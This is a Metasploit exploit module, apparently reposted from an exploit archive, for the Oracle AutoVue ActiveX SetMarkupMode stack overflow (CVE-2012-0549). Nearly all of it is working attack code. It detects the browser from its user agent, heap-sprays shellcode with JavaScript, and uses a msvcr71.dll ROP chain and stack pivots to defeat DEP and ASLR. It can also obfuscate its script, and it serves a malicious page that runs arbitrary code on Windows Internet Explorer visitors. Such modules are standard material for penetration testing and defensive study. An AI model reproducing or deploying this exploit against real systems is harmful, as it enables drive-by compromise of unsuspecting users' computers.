Oracle AutoVue ActiveX Control SetMarkupMode Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::Remote::Seh
    include Msf::Exploit::Remote::BrowserAutopwn
 
    autopwn_info({
        :ua_name    => HttpClients::IE,
        :ua_minver  => "6.0",
        :ua_maxver  => "9.0",
        :javascript => true,
        :os_name    => OperatingSystems::WINDOWS,
        :classid    => "{B6FCC215-D303-11D1-BC6C-0000C078797F}",
        :method     => "SetMarkupMode",
        :rank       => NormalRanking
    })
 
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Oracle AutoVue ActiveX Control SetMarkupMode Buffer Overflow',
            'Description'    => %q{
                    This module exploits a vulnerability found in the AutoVue.ocx ActiveX control.
                The vulnerability, due to the insecure usage of an strcpy like function in the
                SetMarkupMode method, when handling a specially crafted sMarkup argument, allows
                to trigger a stack based buffer overflow which leads to code execution under the
                context of the user visiting a malicious web page.
 
                The module has been successfully tested against Oracle AutoVue Desktop Version
                20.0.0 (AutoVue.ocx 20.0.0.7330) on IE 6, 7, 8 and 9 (Java 6 needed to DEP and
                ASLR bypass).
            },
            'Author'         =>
                [
                    'Brian Gorenc', # Vulnerability discovery
                    'juan' # Metasploit module
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'CVE', '2012-0549' ],
                    [ 'BID', '53077' ],
                    [ 'OSVDB', '81439' ],
                    [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-12-05' ],
                    [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
 
                },
            'Payload'        =>
                {
                    'Space' => 948,
                    'DisableNops' => true,
                },
            'DefaultOptions'  =>
                {
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    # AutoVue.ocx 20.0.0.7330
                    [ 'Automatic', {} ],
                    [
                        'IE 6 on Windows XP SP3',
                        {
                            'SprayBlocks' => 0x185,
                            'SprayCounter' => '0x5f2', # 0x0c0c0c08
                            'SprayOffset' => '0x600', # 0x0c0c0c24
                            'Offset' => 1052,
                            'Ret' => 0x0c0c0c0c,
                            'Rop' => nil,
                            'RandomHeap' => false
                        }
                    ],
                    [
                        'IE 7 on Windows XP SP3 / Windows Vista SP2',
                        {
                            'SprayBlocks' => 0x185,
                            'SprayCounter' => '0x5f2', # 0x0c0c0c08
                            'SprayOffset' => '0x600', # 0x0c0c0c24
                            'Offset' => 1052,
                            'Ret' => 0x0c0c0c0c,
                            'Rop' => nil,
                            'RandomHeap' => false
                        }
                    ],
                    [
                        'IE 8 with Java 6 on Windows XP SP3/7 SP1/Vista SP2',
                        {
                            'SprayBlocks' => 0x185,
                            'SprayCounter' => '0x5f2', # 0x0c0c0c08
                            'SprayStackPivot' => '0x5f6', # 0x0c0c0c10
                            'SprayOffset' => '0x5fc', # 0x0c0c0c1c
                            'Offset' => 1052,
                            'Ret' => 0x0c0c0c0c,
                            'Rop' => :jre,
                            'RandomHeap' => false,
                        }
                    ],
                    [
                        'IE 9 with Java 6 on Windows 7 SP1',
                        {
                            'SprayBlocks' => 0x1000,
                            'SprayNops' => '0x5f6', # 0x0c0c0bfc
                            'SprayCounter' => '0x5fc', # 0x0c0c0c08
                            'SprayStackPivot' => '0x600', # 0x0c0c0c10
                            'SprayOffset' => '0x606', # 0x0c0c0c1c
                            'Offset' => 1052,
                            'Ret' => 0x0c0c0c0c,
                            'Rop' => :jre,
                            'RandomHeap' => true,
                        }
                    ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Apr 18 2012',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
            ], self.class
        )
 
    end
 
    def get_easy_spray(t, js_code, js_nops, js_counter)
 
        spray = <<-JS
        var heap_obj = new heapLib.ie(0x20000);
        var code = unescape("#{js_code}");
        var nops = unescape("#{js_nops}");
        var counter = unescape("#{js_counter}");
 
        while (nops.length < 0x80000) nops += nops;
 
        var offset = nops.substring(0, #{t['SprayCounter']});
        var offset_2 = nops.substring(0, #{t['SprayOffset']} - offset.length - counter.length);
        var block_used = code.length + offset_2.length + counter.length + offset.length;
        var shellcode = offset + counter + offset_2  + code + nops.substring(0, 0x800 - block_used);
 
        while (shellcode.length < 0x40000) shellcode += shellcode;
        var block = shellcode.substring(0, (0x80000-6)/2);
 
        heap_obj.gc();
        for (var z=1; z < #{t['SprayBlocks']}; z++) {
            heap_obj.alloc(block);
        }
 
        JS
 
        return spray
 
    end
 
    def get_aligned_spray(t, js_code, js_nops, js_counter, js_stack_pivot)
 
        spray = <<-JS
        var heap_obj = new heapLib.ie(0x20000);
        var code = unescape("#{js_code}");
        var nops = unescape("#{js_nops}");
        var counter = unescape("#{js_counter}");
        var stack_pivot = unescape("#{js_stack_pivot}")
 
        while (nops.length < 0x80000) nops += nops;
 
        var offset = nops.substring(0, #{t['SprayCounter']});
        var offset_2 = nops.substring(0, #{t['SprayStackPivot']} - offset.length - counter.length);
        var offset_3 = nops.substring(0, #{t['SprayOffset']} - offset.length - counter.length - offset_2.length - stack_pivot.length);
        var block_used = code.length + offset_3.length + stack_pivot.length + offset_2.length + counter.length + offset.length;
        var shellcode = offset + counter + offset_2  + stack_pivot + offset_3 + code + nops.substring(0, 0x800 - block_used);
 
        while (shellcode.length < 0x40000) shellcode += shellcode;
        var block = shellcode.substring(0, (0x80000-6)/2);
 
        heap_obj.gc();
        for (var z=1; z < #{t['SprayBlocks']}; z++) {
            heap_obj.alloc(block);
        }
 
        JS
 
        return spray
 
    end
 
    # Spray published by corelanc0d3r
    # Exploit writing tutorial part 11 : Heap Spraying Demystified
    # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
    def get_random_spray(t, js_code, js_nops, js_90_nops, js_counter, js_stack_pivot)
 
        spray = <<-JS
 
        function randomblock(blocksize)
        {
            var theblock = "";
            for (var i = 0; i < blocksize; i++)
            {
                theblock += Math.floor(Math.random()*90)+10;
            }
            return theblock;
        }
 
        function tounescape(block)
        {
            var blocklen = block.length;
            var unescapestr = "";
            for (var i = 0; i < blocklen-1; i=i+4)
            {
                unescapestr += "%u" + block.substring(i,i+4);
            }
            return unescapestr;
        }
 
        var heap_obj = new heapLib.ie(0x10000);
 
        var code = unescape("#{js_code}");
        var nops = unescape("#{js_nops}");
        var nops_90 = unescape("#{js_90_nops}");
        var counter = unescape("#{js_counter}");
        var stack_pivot = unescape("#{js_stack_pivot}")
 
        while (nops_90.length < 0x80000) nops_90 += nops_90;
 
        for (var i=0; i <  #{t['SprayBlocks']}; i++) {
            var padding = unescape(tounescape(randomblock(0x1000)));
            while (padding.length < 0x1000) padding+= padding;
 
 
            var offset = padding.substring(0, #{t['SprayNops']});
            var offset_2 = padding.substring(0, #{t['SprayCounter']} - offset.length - nops.length);
            var offset_4 = padding.substring(0, #{t['SprayOffset']} - offset.length -  nops.length - offset_2.length - counter.length - nops.length - stack_pivot.length);
            var block_used = code.length + offset_4.length + stack_pivot.length + nops.length + counter.length + offset_2.length + nops.length + offset.length;
            var single_sprayblock = offset + nops + offset_2 + counter + nops  + stack_pivot + offset_4 + code + padding.substring(0, 0x800 - block_used);
 
            while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
            sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
            heap_obj.alloc(sprayblock);
        }
 
        JS
 
        return spray
    end
 
 
    def junk(n=4)
        return rand_text_alpha(n).unpack("V").first
    end
 
    def nop
        return make_nops(4).unpack("V").first
    end
 
    # stackpivot from msvcr71.dll
    def get_stack_pivot_stage_1
        rop = [ 0x7c341ae4 ].pack("V*") # ADD ESP,48 # RETN
        return rop
    end
 
    # stackpivot from msvcr71.dll
    def get_stack_pivot_stage_2
        rop = [
            0x7c3522ca,  # ADD EAX,20 # RETN
            0x7c348b05,  # XCHG EAX,ESP # RETN
        ].pack("V*")
        rop = rop.gsub(/"/, "\\\"")
        return rop
    end
 
    # ROP chain (msvcr71.dll) generated by mona.py - See corelan.be
    def get_rop_chain
        rop = [
            0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
            0x00001000,  # (dwSize)
            0x7c347f98,  # RETN (ROP NOP)
            0x7c3415a2,  # JMP [EAX]
            0xffffffff,
            0x7c376402,  # skip 4 bytes
            0x7c345255,  # INC EBX # FPATAN # RETN
            0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
            0x7c344f87,  # POP EDX # RETN
            0x00000040,  # flNewProtect
            0x7c34d201,  # POP ECX # RETN
            0x7c38b001,  # &Writable location
            0x7c347f97,  # POP EAX # RETN
            0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF
            0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
            0x7c345c30,  # ptr to 'push esp #  ret '
        ].pack("V*")
 
        return rop
    end
 
    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'
 
        if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
            return targets[1]  #IE 6 on Windows XP SP3
        elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
            return targets[2]  #IE 7 on Windows XP SP3
        elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
            return targets[2]  #IE 7 on Windows Vista SP2
        elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
            return targets[3]  #IE 8 on Windows XP SP3
        elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/
            return targets[3]  #IE 8 on Windows 7 SP1/Vista SP2
        elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
            return targets[4]  #IE 9 on Windows 7 SP1
        else
            return nil
        end
    end
 
    def on_request_uri(cli, request)
 
        agent = request.headers['User-Agent']
        print_status("User-agent: #{agent}")
 
        my_target = get_target(agent)
 
        # Avoid the attack if the victim doesn't have a setup we're targeting
        if my_target.nil?
            print_error("Browser not supported: #{agent}")
            send_not_found(cli)
            return
        end
 
        p = payload.encoded
 
        if my_target['Rop'].nil?
            js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
        else
            js_stack_pivot = Rex::Text.to_unescape(get_stack_pivot_stage_1, Rex::Arch.endian(my_target.arch))
            js_code = Rex::Text.to_unescape(get_rop_chain + p, Rex::Arch.endian(my_target.arch))
        end
 
        js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
        js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
        js_counter = Rex::Text.to_unescape("\x01\x00\x00\x00", Rex::Arch.endian(my_target.arch))
 
        js = ""
 
        if my_target['RandomHeap']
            js = get_random_spray(my_target, js_code, js_nops, js_90_nops, js_counter, js_stack_pivot)
        elsif my_target['Rop']
            js = get_aligned_spray(my_target, js_code, js_nops, js_counter, js_stack_pivot)
        else
            js = get_easy_spray(my_target, js_code, js_nops, js_counter)
        end
 
        js = heaplib(js, {:noobfu => true})
 
        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate
        end
 
        if my_target['Rop'].nil?
            sploit = rand_text_alpha(my_target['Offset'])
        else
            sploit = rand_text_alpha(8)
            sploit << get_stack_pivot_stage_2
            # +1 because of the escape character in get_stack_pivot_stage_2
            sploit << rand_text_alpha(my_target['Offset'] - sploit.length + 1)
        end
        sploit << [my_target.ret].pack("V")
 
        html = <<-MYHTML
        <html>
        <head>
        <script>
        #{js}
        </script>
        </head>
        <body>
        <object classid='clsid:B6FCC215-D303-11D1-BC6C-0000C078797F' id='obj' />
        </object>
        <script>
            setTimeout(function(){ obj.SetMarkupMode("#{sploit}"); }, 100);
        </script>
        </body>
        </html>
        MYHTML
 
        html = html.gsub(/^\t\t/, '')
 
        print_status("Sending html")
        send_response(cli, html, {'Content-Type'=>'text/html'})
    end
end



#  0day.today [2018-04-08]  #